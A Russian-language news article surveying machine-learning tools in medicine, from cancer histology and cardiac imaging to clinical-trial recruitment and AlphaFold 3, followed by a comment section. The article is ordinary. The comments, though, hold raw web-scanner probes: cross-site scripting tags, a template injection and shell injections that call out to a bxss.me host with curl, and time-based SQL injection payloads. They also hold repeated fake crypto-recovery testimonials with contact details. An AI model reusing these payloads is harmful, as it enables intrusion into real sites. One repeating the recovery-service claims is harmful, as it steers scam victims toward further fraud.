Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

ИИ против болезней: как машинное обучение меняет медицину

1643798450177ee11f2f148ce6aec655.jpg

Здравоохранение переживает беспрецедентную трансформацию. За последние шесть лет глобальные расходы на медицину выросли с $6–7 трлн до более чем $12 трлн, а в США они уже составляют 17% ВВП, увеличиваясь вдвое быстрее экономического роста. В условиях такого взрывного роста затрат именно технологии машинного обучения становятся ключевым инструментом оптимизации медицинских процессов.

От диагностики заболеваний до предсказания пространственной структуры белков — ML-системы уже сегодня меняют подходы к решению стандартных вопросов. При этом речь уже не идет об экспериментальных разработках — многие решения активно применяются в клинической практике и показывают впечатляющие результаты. Об этих решениях и пойдет речь в нашей статье.

Текущий ландшафт ML в медицине

Интерес к машинному обучению в медицине растет экспоненциально. По данным PubMed, если в начале 2000-х годов ML упоминалось в единичных клинических исследованиях, то к 2021 году каждая четвертая статья по диагностической точности в ведущих медицинских журналах фокусируется на применении ML-алгоритмов. При этом годовой прирост публикаций с использованием ML составляет 39% против 8% для традиционных исследований.

Синяя линия — клинические исследования на тему «диагноз», опубликованные в PubMed с 2000 по 2021 год. Зеленая линия — часть этих исследований, в названии или аннотации которых упоминается «машинное обучение», «искусственный интеллект» или «глубокое обучение». Источник
Синяя линия — клинические исследования на тему «диагноз», опубликованные в PubMed с 2000 по 2021 год. Зеленая линия — часть этих исследований, в названии или аннотации которых упоминается «машинное обучение», «искусственный интеллект» или «глубокое обучение». Источник изображения

Впрочем, путь от исследовательских прототипов к реальным клиническим инструментам оказался сложнее, чем ожидалось. Разработчики столкнулись с множеством вызовов: от недостаточной прозрачности моделей и регуляторных ограничений до дефицита качественных датасетов.

Тем не менее, последние годы показывают, что индустрия находит способы преодолевать эти барьеры. ML-системы уже работают в клиниках, помогая врачам в диагностике, обработке медицинской документации и даже в разработке новых лекарств. Давайте рассмотрим самые интересные примеры.

Автоматизация диагностики и скрининга

Диагностика остается одним из самых ресурсоемких процессов в медицине: анализ гистологических изображений, оценка биомаркеров, расшифровка КТ и МРТ требуют колоссальных временных затрат и высочайшей квалификации специалистов. ML-системы не только автоматизируют рутинные аспекты этих процессов, но и помогают выявлять паттерны, которые может упустить человеческий глаз.

Анализ гистологических изображений для диагностики рака

Оценка биомаркеров при раке молочной железы требует дополнительных иммуногистохимических (IHC) и гибридизационных (ISH) исследований — это заметно удлиняет диагностику и повышает ее стоимость. Исследователи из Panakeia Technologies предложили решение — систему PANProfiler, способную определять статус ключевых биомаркеров непосредственно по H&E-окрашенным гистологическим срезам.

Результат работы системы. Источник
Результат работы системы. Источник изображения

Система демонстрирует возможности ML в анализе статуса ключевых биомаркеров рака груди: эстрогеновых рецепторов (ER), прогестероновых рецепторов (PR) и HER2. Техническое ядро PANProfiler построено на основе сверточных нейронных сетей (CNN) и включает несколько этапов:

  • Разбиение изображения на тайлы размером 256×256 пикселей.

  • Фильтрация фоновых участков с помощью анализа стандартного отклонения.

  • Сегментация опухолевой ткани для исключения нерелевантных областей.

  • Нормализация цвета и яркости по методу Macenko.

  • Классификация с использованием ансамбля предобученных CNN-моделей.

В ходе клинической валидации, проведенной на 648 независимых случаях для ER и PR и 560 случаях для HER2, решение показало точность 87% для определения статуса эстрогеновых рецепторов, 83% для PR и 87% для HER2. При этом система способна определить, когда она недостаточно уверена в прогнозе, и передать такие случаи врачу.

Диагностика сердечно-сосудистых заболеваний

Оценка состояния коронарных артерий и выявление ишемии миокарда остаются важными задачами кардиологии. Обычные методы диагностики либо недостаточно информативны, либо инвазивны. Компания Cleerly разработала комплексное решение, объединяющее две технологии: платформу Comprehensive Care Management и систему ISCHEMIA.

Платформа Comprehensive Care Management

Платформа использует алгоритмы машинного обучения для анализа данных коронарной КТ-ангиографии (CCTA). Система строит 3D-модель коронарных артерий, измеряет их просвет и толщину стенок, локализует стенозы и количественно оценивает атеросклеротические бляшки. Алгоритмы обучены на более чем 10 миллионах изображений от 40 000 пациентов.

Интерфейс платформы. Источник
Интерфейс платформы. Источник изображения

В клинических испытаниях система продемонстрировала результаты, сопоставимые с данными внутрисосудистого ультразвука (IVUS), спектроскопии в ближней инфракрасной области (NIRS), фракционного резерва кровотока (FFR), оптической когерентной томографии (OCT) и количественной коронарной ангиографии (QCA). Интеграция платформы осуществляется через специальный шлюз, который обеспечивает защищенную передачу данных между медицинскими учреждениями и облачным сервисом.

Система ISCHEMIA

ISCHEMIA представляет собой специализированную ML-систему для оценки вероятности коронарной ишемии на уровне отдельных сосудов. Система анализирует 37 параметров состояния сердца и использует эти данные для прогнозирования значений фракционного резерва кровотока (FFR).

Принцип работы ISCHEMIA. Система анализирует коронарные сосуды и рассчитывает индекс Cleerly ISCHEMIA (CII). Он помогает определить вероятность ишемии, сравнивая данные с порогом, эквивалентным инвазивным показателям FFR (>0,80 — ишемия маловероятна; ≤0,80 — вероятна). Источник
Принцип работы ISCHEMIA. Система анализирует коронарные сосуды и рассчитывает индекс Cleerly ISCHEMIA (CII). Он помогает определить вероятность ишемии, сравнивая данные с порогом, эквивалентным инвазивным показателям FFR (>0,80 — ишемия маловероятна; ≤0,80 — вероятна). Источник изображения

Эффективность системы подтверждена несколькими крупными клиническими исследованиями. В проспективном многоцентровом исследовании CREDENCE (n=612) система продемонстрировала более высокую диагностическую точность по сравнению с FFRCT и стресс-тестами при оценке 868 инвазивных измерений FFR. В исследовании PACIFIC система показала AUC 0.91 на уровне пациента, что сопоставимо с FFRCT (0,90) и ПЭТ (0,88), и значительно превосходит ОФЭКТ (0,71).

Интересны результаты исследования CERTAIN, где использование системы привело к изменению диагноза и тактики ведения у 57,1% из 750 последовательных пациентов. При этом наблюдалось изменение оценки CAD-RADS у 39,3% пациентов, плана вмешательств у 16,9% и схемы медикаментозной терапии у 23,1% пациентов.

Оптимизация медицинской документации и коммуникации

Знаете ли вы, сколько времени врачи тратят на заполнение документов? Согласно отчету Medscape за 2023 год, в среднем 15,5 часов в неделю уходит на бумажную работу и административные задачи. Для некоторых специальностей эта цифра еще выше: физиотерапевты тратят 19 часов, неврологи и онкологи —18 часов, а семейные врачи — 17 часов в неделю. Время, которое могло бы быть потрачено на пациентов, уходит на рутинную документацию.

Индустрия не могла игнорировать эту проблему, и за последние годы появился ряд ML-решений, способных автоматизировать работу с медицинской документацией.

Автоматизация врачебной документации

Рутинное заполнение документации давно превратилось в одну из главных причин профессионального выгорания врачей. Когда внимание доктора сосредоточено на компьютере, а не на пациенте, это негативно влияет на качество коммуникации и, как следствие, на эффективность лечения. Возможное решение проблемы — система Ambient AI scribes, разработанная для автоматизации ведения медицинских записей и снижения нагрузки на врачей.

Технология использует микрофон смартфона для транскрипции врачебных консультаций в реальном времени, автоматически преобразуя речь в структурированные медицинские записи.

За первые десять недель использования 3442 врача применили систему в более чем 303 000 консультациях. При этом 968 медиков использовали Ambient AI как минимум в 100 случаях, а один врач — в 1210 консультациях. Статистический анализ показал, что время на работу с документацией сократилось: пользователи системы стали проводить намного меньше времени за работой с электронными медицинскими картами вне стандартных рабочих часов (с 7:00 до 19:00) по сравнению с контрольной группой.

Анализ качества расшифровок визитов, созданных искусственным интеллектом, показал высокие результаты по всем 10 параметрам. Для оценки использовались 35 случайно выбранных записей по разным клиническим специальностям. (источник изображения)
Анализ качества расшифровок визитов, созданных искусственным интеллектом, показал высокие результаты по всем 10 параметрам. Для оценки использовались 35 случайно выбранных записей по разным клиническим специальностям. Источник изображения

Качество автоматически генерируемых записей оценивалось по модифицированной шкале PDQI-9 с десятью параметрами. Анализ 35 транскриптов показал средний балл 48 из 50 возможных, с особенно высокими оценками по таким критериям, как отсутствие предвзятости, внутренняя согласованность и лаконичность. Впрочем, иногда система все же допускает ошибки (например, может принять планируемые процедуры за уже выполненные).

Интеллектуальная обработка медицинских текстов

Каждый день медицинские учреждения генерируют терабайты текстовых данных: электронные медицинские карты, научные статьи, инструкции к лекарствам, диагностические записи. В этом массиве информации нужно точно распознавать и классифицировать медицинские термины: названия болезней, лекарств, симптомов. BioBERT — специализированная языковая модель, разработанная именно для этой задачи.

В основе BioBERT лежит технология распознавания именованных сущностей (named entity recognition, NER) с использованием двунаправленного кодировщика на основе трансформеров. В отличие от стандартных языковых моделей, BioBERT обучена на биомедицинских текстах, что позволяет ей точнее понимать профессиональную терминологию. В сравнительных экспериментах на датасете MIMIC-III (более 40 000 реальных медицинских записей) система показала точность 89,8% и F1-score 87,6%, существенно превзойдя другие модели, включая BERT (82,5% и 81,0%) и ClinicalBERT (85,2% и 83,5%).

Помимо высокой точности распознавания, важным преимуществом BioBERT является встроенная защита конфиденциальных данных. Система работает с деидентифицированными текстовыми векторами, что позволяет извлекать полезную информацию без риска раскрытия личных данных пациентов. Это особенно важно в контексте строгих требований к безопасности медицинской информации.

Анализ медицинского мышления

Как оценить реальную глубину понимания медицинских концепций искусственным интеллектом? Стандартные тесты с множественным выбором не дают полной картины, а высокие результаты могут быть следствием простого распознавания паттернов, а не настоящего клинического мышления. Исследователи разработали систему MedG-KRP для визуализации и анализа медицинских рассуждений ML-моделей.

MedG-KRP строит графы знаний, отражающие понимание моделью причинно-следственных связей в медицине. Начиная с одного медицинского концепта, система рекурсивно расширяет граф, определяя причины и следствия. В сравнительном исследовании трех моделей (GPT-4, Llama3-70b и PalmyraMed-70b) на 20 различных медицинских состояниях эксперты оценивали точность и полноту построенных графов. GPT-4 показала лучшие результаты по обоим параметрам (3,37/4.0 за точность и 3,23/4,0 за полноту), тогда как специализированная медицинская модель PalmyraMed неожиданно продемонстрировала более слабые показатели (3,13 и 2,97 соответственно).

Любопытно, что PalmyraMed генерировала более специфичные медицинские концепты, но хуже справлялась с различением прямых и косвенных причинно-следственных связей. Вывод: даже модели, настроенные специально для медицинских задач, могут уступать универсальным системам в понимании сложных клинических взаимосвязей.

Поддержка клинических исследований

Клинические исследования сильно тормозят процесс разработки лекарств. Согласно статистике, около 80% испытаний задерживаются или закрываются из-за проблем с набором пациентов, а 37% исследовательских центров не могут набрать нужное количество добровольцев. При этом каждый день задержки обходится фармкомпаниям в сумму от $600 000 до $8 млн.

ML-системы предлагают радикальное решение этого вопроса, автоматизируя не только поиск подходящих участников, но и другие аспекты проблемы.

Ускорение набора пациентов в клинические исследования

Традиционный поиск участников клинических исследований напоминает поиск иголки в стоге сена: исследователям приходится вручную просматривать тысячи медицинских карт, сопоставляя каждую с десятками критериев включения и исключения. Deep 6 AI предложила новый подход к этой проблеме.

Технически система работает на двух уровнях. Первый — обработка структурированных данных: кодов МКБ-10 и LOINC, а также стандартизированных полей вроде возраста или пола. Второй, более сложный уровень — анализ неструктурированной информации: клинических заметок, результатов лабораторных исследований, описаний изображений. Система картирует эти данные по более чем 120 онтологиям, создавая динамические «графы пациентов» для точного сопоставления с критериями исследований.

С помощью единого интерфейса можно запрашивать данные из миллионов электронных медицинских карт, чтобы искать пациентов с определенными генетическими маркерами. Это позволяет оперативно подбирать пациентов для участия в онкологических клинических испытаниях. Источник
С помощью единого интерфейса можно запрашивать данные из миллионов электронных медицинских карт, чтобы искать пациентов с определенными генетическими маркерами. Это позволяет оперативно подбирать пациентов для участия в онкологических клинических испытаниях. Источник изображения

В онкологических исследованиях платформа анализирует данные о 19 000 генах и поддерживает поиск по множеству типов мутаций (например, дупликации и делеции), охватывая более 30 000 локус-специфичных мутаций. Это особенно важно, учитывая, что около 80% информации о геномных маркерах содержится в неструктурированных отчетах и заметках врачей.

По данным компании, использование системы позволяет находить на 25% больше подходящих пациентов, при этом 15–20% участников обнаруживаются только благодаря анализу неструктурированных данных.

ИИ-системы в управлении данными клинических исследований

В ходе клинических исследований накапливаются большие объемы разнородных данных: описания симптомов, процедур, побочных эффектов, истории болезни и сопутствующих медикаментов. Все эти данные требуют кодирования по стандартным словарям вроде MedDRA и WHODrug для соответствия требованиям регуляторов. Medidata разработала систему, автоматизирующую этот процесс.

В основе решения лежат ML-алгоритмы, обученные на более чем 60 миллионах решений профессиональных медицинских кодировщиков: 30+ миллионов для MedDRA и столько же для WHODrug. Система не только предсказывает подходящие коды для новых терминов, но и оценивает уверенность в своих предсказаниях как высокую, среднюю или низкую. При высоком уровне уверенности точность достигает 96% для MedDRA и 92% для WHODrug, а время кодирования сокращается с 5 минут до нескольких секунд на термин.

Список задач кодирования в Rave Coder+, показывающий стенограммы, прогнозы кодирования, созданные алгоритмом, и соответствующий уровень достоверности. Источник
Список задач кодирования в Rave Coder+, показывающий стенограммы, прогнозы кодирования, созданные алгоритмом, и соответствующий уровень достоверности. Источник изображения

Помимо кодирования, система выполняет сверку данных из разных источников. Она оценивает и ранжирует сложные связи между побочными эффектами, сопутствующими медикаментами и историей болезни, автоматически выявляя потенциальные несоответствия. Это не только экономит время на ручной проверке, но и снижает риск пропуска важных расхождений в данных.

Ускорение разработки лекарств

Самое сложное в разработке новых лекарств — не стать жертвой статистики. Только 10–15% препаратов, дошедших до клинических исследований, получают одобрение регуляторов. Причины могут быть разными: от недостаточной эффективности и побочных эффектов до проблем с методологией исследований и экономической целесообразностью. Но что, если ML поможет изменить эти цифры?

Поиск мишеней для лекарств

Поиск мишеней для нового лекарства требует множества лабораторных экспериментов, которые отнимают время и ресурсы. Чтобы ускорить выявление перспективных мишеней, группа китайских ученых предложила предсказательный алгоритм COMET, сочетающий анализ сходства лигандов, молекулярный докинг и предсказание аффинности с использованием искусственного интеллекта.

Фреймфорк алгоритма COMET. Источник
Фреймфорк алгоритма COMET. Источник

Система работает с базой из 2 685 терапевтических мишеней и почти миллиона известных взаимодействий белок-лиганд. В отличие от других платформ, COMET не просто предсказывает мишени, но и показывает, как именно молекула может с ними взаимодействовать. При тестировании на 500 тщательно отобранных соединениях с как минимум двумя подтвержденными мишенями система правильно определила 72,18% всех известных мишеней, причем для 77,8% молекул как минимум одна истинная мишень попадала в топ-15 предсказаний.

Интересно, что в основе успеха COMET лежит комбинация разных подходов. Система сначала использует классические методы анализа сходства лигандов для первичного скрининга, затем применяет графовую нейросеть PLANET для предсказания аффинности и проводит молекулярный докинг с помощью AutoDock Vina. Финальный рейтинг мишеней формируется алгоритмом машинного обучения, который учитывает все эти факторы.

Моделирование взаимодействия белок-лиганд

Чтобы создать новое лекарство, нужно сначала понять, как именно оно будет взаимодействовать со своей мишенью в организме. FlowDock превращает этот процесс из многомесячного марафона дорогостоящих экспериментов в 39-секундный анализ на обычном компьютере.

Обзор моделирования распределения биомолекул с помощью FlowDock. Источник
Обзор моделирования распределения биомолекул с помощью FlowDock. Источник

Система использует геометрическое сопоставление потоков для одновременного предсказания структуры комплекса белок-лиганд и силы их взаимодействия. На тестовом наборе из 363 комплексов точность предсказания структуры достигает 51% — это второй показатель после Chai-1, модели в 10 раз большего размера. При этом FlowDock потребляет всего 25.6 ГБ видеопамяти, тогда как другим системам необходимо до 73 ГБ и от 88 до 3443 секунд на один анализ.

В предсказании силы связывания FlowDock и вовсе стал лучшим: корреляция Пирсона 0,705 и среднеквадратичная ошибка 1,363 на стандартном наборе PDBBind. Эффективность системы подтвердилась и в «боевых» условиях: на соревновании CASP16 FlowDock вошел в топ-5 систем по предсказанию взаимодействий белок-лиганд для фармацевтически значимых мишеней, став единственной гибридной моделью среди финалистов.

Предсказание пространственной структуры белка

Определение 3D-структуры белков и их комплексов — ключевой этап в разработке лекарств. В 2021 году DeepMind выпустила AlphaFold 2 — нейросеть, которая совершила прорыв в предсказании белковых структур. Однако моделирование белковых комплексов с лигандами, нуклеиновыми кислотами и модифицированными аминокислотами по-прежнему оставалось нерешенной задачей. В мае 2024 года компания представила AlphaFold 3 — новое поколение системы, способное предсказывать структуры всех этих молекул в рамках единой архитектуры.

Примеры предсказанных структур. Источник
Примеры предсказанных структур. Источник

Главное нововведение AF3 — переход на диффузионную архитектуру, которая позволяет напрямую предсказывать координаты атомов. Инженеры DeepMind существенно упростили обработку множественных выравниваний последовательностей, заменив сложный блок evoformer на более эффективный pairformer.

В тестах на наборе PoseBusters AF3 значительно превзошел классические методы докинга, даже не используя информацию о структуре белка, которая обычно необходима таким инструментам. При этом система демонстрирует высокую точность и для других типов взаимодействий, включая комплексы белок-антитело, где точность предсказаний растет с увеличением числа используемых моделей до 1000.

Время расчета на GPU V100 составляет около минуты для белков длиной 256 остатков, 1,1 минуты для 384 остатков и 2,1 часа для последовательностей длиной 2500 остатков. Такая производительность делает возможным массовый анализ белковых комплексов в масштабах целых протеомов.

Хочется также упомянуть открытую базу данных AlphaFold DB — совместный проект DeepMind и Европейского института биоинформатики (EMBL-EBI).

В ней собрано более 200 миллионов предсказанных структур, включая полные протеомы человека и 47 других модельных организмов. База интегрирована с UniProt и предоставляет свободный доступ к структурным данным для исследователей по всему миру.

Настоящее и будущее ML в медицине

Медицинское сообщество долгое время скептически относилось к внедрению ML-систем в клиническую практику. И дело не только в консерватизме врачей — алгоритмы действительно страдали от фундаментальных ограничений. Главное из них получило название «distributional shift»: ML-модели оказались неспособны адаптироваться к изменению контекста и продолжали выдавать ошибочные результаты в нестандартных ситуациях.

В отличие от врача, который может распознать пробел в своих знаниях и скорректировать тактику, алгоритмы упорно следуют заложенным паттернам. Именно поэтому развитие идет по пути создания узкоспециализированных систем (Artificial Narrow Intelligence) для решения конкретных задач — от анализа рентгеновских снимков до подбора схем лечения. Попытки создать универсальный ИИ, способный работать в любом контексте на качественном уровне (Artificial General Intelligence), пока остаются в целях на будущее.

Впрочем, даже в текущем виде ML-системы уже трансформируют медицину. Они берут на себя рутинные задачи вроде скрининга и базовой диагностики, позволяя врачам сосредоточиться на действительно важных и сложных задачах.

Успешные примеры внедрения, которые мы рассмотрели, показывают, что потенциал технологии раскрывается только при правильном подходе к разработке. Создание медицинских ML-систем требует глубокого понимания как технической стороны вопроса, так и специфики отрасли. Важно не просто разработать алгоритм, но и обеспечить его надежность, прозрачность и соответствие строгим медицинским стандартам. Особенно критичны вопросы надежности и прозрачности решений: когда речь идет о здоровье людей, цена ошибки слишком высока.

Будущее медицины за синергией человеческого опыта и технологических возможностей. Машинное обучение поможет врачам сфокусироваться на главном — общении с пациентами и принятии сложных клинических решений, освободив их от рутинных задач. А значит, впереди нас ждет медицина, которая станет более персонализированной, эффективной и доступной для каждого.

На этом у нас все. Делитесь своим мнением в комментариях, будем рады услышать ваше видение на будущее ML в медицинской сфере.

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

